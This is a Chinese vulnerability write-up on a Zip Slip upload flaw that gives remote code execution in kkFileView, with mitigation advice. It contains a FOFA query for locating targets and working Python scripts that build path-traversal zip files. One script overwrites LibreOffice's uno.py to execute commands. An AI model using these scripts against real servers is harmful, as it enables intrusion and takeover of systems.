0x01 组件介绍
kkFileView是一个开源的在线文件预览解决方案,支持多种文件格式。
fofa语法:app="kkFileView"
0x02 漏洞描述
2024年4月,github上公开披露kkFileView 任意文件上传致远程代码执行漏洞,攻击者可构造恶意请求上传恶意文件,并可能造成远程代码执行。
0x03 影响版本
4.2.0 <= kkFileView <= v4.4.0-beta
0x04 环境搭建
0x01 下载
目前这个环境如果需要用现成的话,需要加入kkFileView社区,付费99才能下载。没钱,没舍得付费哈哈哈
不过官方也提供了可直接从源码,自己编译的,我们就采用这个方式自己构建吧
从官方下载对应版本:
https://gitee.com/kekingcn/file-online-preview/releases
下载解压后,在idea中打开,配置好maven后,先双击选择clean,没有报错后,双击选择install,同样没有报错后
即可到刚才的目录下server\target,查看是否已经打包完成
接下来就是放到centos下运行了,把kkFileView-4.3.0.tar.gz传到centos环境下
需要提前安装LibreOffice,否则无法运行
安装过程参考
0x02 访问环境
按照第一步安装的的环境,在浏览器中打开http://192.168.19.153:8012(默认端口都是8012),验证是否成功,出现以下即为成功
0x05 漏洞原理
在v4.2.0版本的更新中,由于前台上传功能在处理压缩包时,从仅获取文件名改为获取文件名及其目录,导致出现了Zip Slip漏洞。这使得攻击者可上传包含恶意代码的压缩包并覆盖系统文件,随后通过调用这些被覆盖的文件实现远程代码执行
0x06 漏洞验证
1.访问站点
2.参考github作者内容,上传恶意安装的压缩包,存在文件遍历,可以直接在相关目录下创建文件
恶意压缩包创建脚本生成,在这里我们使用每次随机的压缩名字,不然每次测试需要重新删除再上传,而且可能出现压缩包上传无效的情况
制作脚本代码:
import zipfile
import random
if __name__ == "__main__":
try:
key = random.sample(
['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'z', 'y', 'x', 'w', 'v', 'u', 't', 's', 'r', 'q',
'p', 'o',
'n', 'm', 'l', 'k', 'j', 'i', 'h', 'g', 'f', 'e', 'd', 'c', 'b', 'a'], 6)
key = ''.join(key)
binary1 = b'1ueeeeee'
binary2 = b'{}'.format(key)
zipFile = zipfile.ZipFile("{}.zip".format(key), "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("{}.zip".format(key))
zipFile.writestr("test", binary1)
zipFile.writestr("../../../../../../../../../../../../../../../../../../../tmp/flag", binary2)
zipFile.close()
except IOError as e:
raise e
点击上传后,会出现可以预览文件的情况,选择预览
成功后我们找下主机tmp目录下是否有flag文件,并看下文件内容是不是刚才的随机文件名
通过以上可以看到确实生成了flag文件,即可证明存在文件上传
####造成RCE
看github上作者说的还能造成RCE,可以任意文件上传,并且可以追加文件内容,按照作者的研究发现,目标在使用odt转pdf时会调用系统的Libreoffice,而此进程会调用库中的uno.py文件,因此可以覆盖该py文件的内容。
制作脚本代码:
import zipfile
import random
if __name__ == "__main__":
try:
key = random.sample(
['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'z', 'y', 'x', 'w', 'v', 'u', 't', 's', 'r', 'q',
'p', 'o',
'n', 'm', 'l', 'k', 'j', 'i', 'h', 'g', 'f', 'e', 'd', 'c', 'b', 'a'], 6)
key = ''.join(key)
binary1 = b'1ueeeeee'
#binary2 = b'{}'.format(key)
binary2 = b'import os\r\nos.system(\'touch /tmp/20240417\')'
zipFile = zipfile.ZipFile("{}.zip".format(key), "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("{}.zip".format(key))
zipFile.writestr("test", binary1)
#zipFile.writestr("../../../../../../../../../../../../../../../../../../../tmp/flag", binary2)
zipFile.writestr("../../../../../../../../../../../../../../../../../../../opt/libreoffice7.5/program/uno.py",
binary2)
zipFile.close()
except IOError as e:
raise e
其中/opt/libreoffice7.5 这个目录是不一定的,具体需要看环境中是什么路径,正常的会出现以下这些"/opt/libreoffice" "/opt/libreoffice6.1" "/opt/libreoffice7.5","/opt/libreoffice7.1","/opt/libreoffice7.2","/opt/libreoffice7.3","/opt/libreoffice7.4","/usr/lib/libreoffice"
重复刚才的步骤,制作恶意的zip包 上传并预览
再随便上传一个odt文件,令其发起libreoffice任务 上传并预览
成功后我们找下主机tmp目录下是否有20240417的目录,可以看到我们的命令已经被执行
接下来看下那个文件是否有刚才我们写入的命令,看文件内容即可看到确实存在
cat /opt/libreoffice7.5/program/uno.py
0x07 漏洞影响
通过以上过程,我们可以看到该漏洞危害极大,且该漏洞利用难度也极低,可以执行任意命令,攻击者通过上传特制的ZIP文件,可以执行服务器上的任意代码,从而获得服务器的进一步控制权。
0x08 修复建议
1.升级版本,官方已于正式分支中修复,待发布正式版本。
2.临时措施:
(1)在编译源文件时,找到application.properties文件,找到其中 file.upload.disable参数,将其中false改成true即可禁用首页的文件上传功能,再重新打包
(2)如非必要,不要将该系统放置在公网上。或通过网络ACL策略限制访问来源,例如只允许来自特定IP地址或地址段的访问请求。
0X09 参考链接
https://github.com/luelueking/kkFileView-v4.3.0-RCE-POC
https://mp.weixin.qq.com/s/Vogp9Qy0nQahVsPDbppgFQ
0x010 免责声明
本文所涉及的任何技术、信息或工具,仅供学习和参考之用。
请勿利用本文提供的信息从事任何违法活动或不当行为。任何因使用本文所提供的信息或工具而导致的损失、后果或不良影响,均由使用者个人承担责任,与本文作者无关。
作者不对任何因使用本文信息或工具而产生的损失或后果承担任何责任。使用本文所提供的信息或工具即视为同意本免责声明,并承诺遵守相关法律法规和道德规范。